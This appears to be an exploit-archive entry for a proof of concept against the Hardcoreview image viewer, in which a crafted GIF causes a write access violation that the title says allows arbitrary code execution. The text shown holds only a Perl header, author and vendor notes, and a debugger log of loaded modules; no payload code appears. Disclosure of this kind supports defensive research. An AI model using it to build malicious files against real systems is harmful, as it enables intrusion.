发布 2012-10-07 漏洞条目

HCView – WriteAV Crash (PoC)

Exploit Source

#!/usr/bin/perl

# Hardcoreview WriteAV Arbitrary Code Execution

# Author: Jean Pascal Pereira <pereira@secbiz.de>

# Vendor URI: http://sourceforge.net/projects/hardcoreview/

# Vendor Description:

# Image browser. Designed and created for profesional and amature watching image files.

# All kind of image files ;) . Support *.jpg, *.gif, *.bmp, *.psd, and many more.

# Debug info:

# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86

# CommandLine: "C:\Program Files\hardcoreview\hardcoreview.exe" C:\research\hcview\crafted.gif

# Symbol search path is: *** Invalid ***

# ****************************************************************************

# * Symbol loading may be unreliable without a symbol search path. *

# * Use .symfix to have the debugger choose a symbol path. *

# * After setting your symbol path, use .reload to refresh symbol locations. *

# ****************************************************************************

# Executable search path is:

# ModLoad: 00400000 00443000 hardcoreview.exe

# ModLoad: 7c900000 7c9b2000 ntdll.dll

# ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll

# ModLoad: 5ed00000 5edcc000 C:\WINDOWS\system32\OPENGL32.dll

# ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll

# ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll

# ModLoad: 77e70000 77f03000 C:\WINDOWS\system32\RPCRT4.dll

# ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll

# ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll

# ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll

# ModLoad: 68b20000 68b40000 C:\WINDOWS\system32\GLU32.dll

# ModLoad: 73760000 737ab000 C:\WINDOWS\system32\DDRAW.dll

# ModLoad: 73bc0000 73bc6000 C:\WINDOWS\system32\DCIMAN32.dll

# ModLoad: 10000000 102be000 C:\Program Files\hardcoreview\DevIL.dll

# ModLoad: 7c420000 7c4a7000 C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700\MSVCP80.dll

# ModLoad: 78130000 781cb000 C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700\MSVCR80.dll

# ModLoad: 00350000 00365000 C:\Program Files\hardcoreview\ILU.dll

# ModLoad: 00380000 0038f000 C:\Program Files\hardcoreview\ILUT.dll

# ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll

# ModLoad: 5d090000 5d12a000 C:\WINDOWS\system32\COMCTL32.dll

# ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll

# ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll

# ModLoad: 003a0000 003b5000 C:\Program Files\hardcoreview\pthreadVC2.dll

# ModLoad: 71ad0000 71ad9000 C:\WINDOWS\system32\WSOCK32.dll

# ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.dll

# ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.dll

# ModLoad: 78480000 7850e000 C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6f74963e\MSVCP90.dll

# ModLoad: 78520000 785c3000 C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6f74963e\MSVCR90.dll

# (e4c.8c8): Break instruction exception - code 80000003 (first chance)

# ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL

# ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll

# ModLoad: 5ad70000 5ada8000 C:\WINDOWS\system32\uxtheme.dll

# ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll

# ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\version.dll

# ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime

# ModLoad: 774e0000 7761e000 C:\WINDOWS\system32\ole32.dll